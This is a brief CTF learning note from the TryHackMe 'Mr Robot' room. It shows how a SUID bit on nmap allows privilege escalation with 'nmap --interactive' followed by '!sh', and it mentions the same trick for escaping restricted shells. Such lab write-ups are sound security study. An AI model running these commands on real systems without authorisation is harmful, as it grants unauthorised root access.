---
description: 'Learnt while tryhackme: mrrobot CTF'
---

# SUID - nmap

So, we found SUID bit set on nmap

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2F35apYeSGffKQn6AdVJIR%2Fimage.png?alt=media&#x26;token=d587c398-9140-4956-a7b6-e06a40566a2c" alt=""></div>

To escalate privileges:\
`nmap --interactive`\
`!sh`

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FhIl5ZC0XKhAZ38ILH1Wo%2Fimage.png?alt=media&#x26;token=a4116f95-9e8c-4e00-b416-c4a49c9a142f" alt=""></div>

This method is also an effective method of breaking/escaping limited/restricted shell. More on that in further posts.
